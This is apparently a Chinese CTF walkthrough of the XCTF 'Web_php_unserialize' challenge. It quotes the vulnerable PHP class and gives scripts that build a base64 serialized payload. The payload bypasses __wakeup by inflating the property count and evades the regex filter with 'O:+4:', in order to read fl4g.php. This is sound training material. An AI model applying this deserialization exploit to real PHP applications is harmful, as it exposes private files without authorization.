攻防世界-引导-Web_php_unserialize

题目内容:

出现一段源代码,分段分析

第一部分如下

复制代码
<?php 
class Demo { 
    private $file = 'index.php';
    public function __construct($file) { 
        $this->file = $file; 
    }
    function __destruct() { 
        echo @highlight_file($this->file, true); 
    }
    function __wakeup() { 
        if ($this->file != 'index.php') { 
            //the secret is in the fl4g.php
            $this->file = 'index.php'; 
        } 
    } 
}
 
?>

用php定义了一个对象类为 Demo,出现了三个方法:_construct(),_destruct(),_wakeup()

看到_wakeup()想到了序列化和反序列化。想到利用反序列化绕过_wakeup(),最后还有一个提示flag在fl4g.php中

再看后面的部分

第二部分如下

复制代码
<?php 

if (isset($_GET['var'])) { 
    $var = base64_decode($_GET['var']); 
    if (preg_match('/[oc]:\d+:/i', $var)) { 
        die('stop hacking!'); 
    } else {
        @unserialize($var); 
    } 
} else { 
    highlight_file("index.php"); 
} 
?>

这边很明晰那看出使用了一个叫var的参数用来进行get方法,并且传后会进行base64进行解码,

接下去会对你穿的参数进行一个反序列化的判断,这边是等下要绕过的考虑点。所以题目比较明显的点出了需要通过反序列化操作来进行。

操作

通过编译器直接进行序列化操作

php 复制代码
<?php
class Demo { 
    private $file = 'index.php';
    public function __construct($file) { 
        $this->file = $file; 
    }
    function __destruct() { 
        echo @highlight_file($this->file, true); 
    }
    function __wakeup() { 
        if ($this->file != 'index.php') { 
            $this->file = 'index.php'; 
        } 
    } 
}

$demo = new Demo('fl4g.php');
// 序列化对象
$payload = serialize($demo);
echo "原始序列化字符串: " . $payload . "\n";
// 1. 绕过__wakeup():修改属性数量
$payload = str_replace(':1:', ':2:', $payload);
// 2. 绕过正则检测:在类名长度前添加+号
$payload = str_replace('O:4:', 'O:+4:', $payload);
echo $payload . "\n";

?>

这边要注意的是,因为文中提到的成员变量是private类型所以在demo前和后需加入空字符串,

php 复制代码
<?php
$err = 'O:+4:"Demo":2:{s:10:"'.chr(0).'Demo'.chr(0).'file";s:8:"fl4g.php";}';

$err=base64_encode($err);
echo $err;

?>

这边等后面出一个对序列化和反序列化比较详细的博客在讲一讲。

相关推荐
用户9623779544818 分钟前
CTF 伪协议
php
用户9623779544820 小时前
DVWA 靶场实验报告 (High Level)
安全
数据智能老司机1 天前
用于进攻性网络安全的智能体 AI——在 n8n 中构建你的第一个 AI 工作流
人工智能·安全·agent
数据智能老司机1 天前
用于进攻性网络安全的智能体 AI——智能体 AI 入门
人工智能·安全·agent
用户962377954481 天前
DVWA 靶场实验报告 (Medium Level)
安全
red1giant_star1 天前
S2-067 漏洞复现:Struts2 S2-067 文件上传路径穿越漏洞
安全
用户962377954481 天前
DVWA Weak Session IDs High 的 Cookie dvwaSession 为什么刷新不出来?
安全
BingoGo2 天前
当你的 PHP 应用的 API 没有限流时会发生什么?
后端·php
JaguarJack2 天前
当你的 PHP 应用的 API 没有限流时会发生什么?
后端·php·服务端
cipher3 天前
ERC-4626 通胀攻击:DeFi 金库的"捐款陷阱"
前端·后端·安全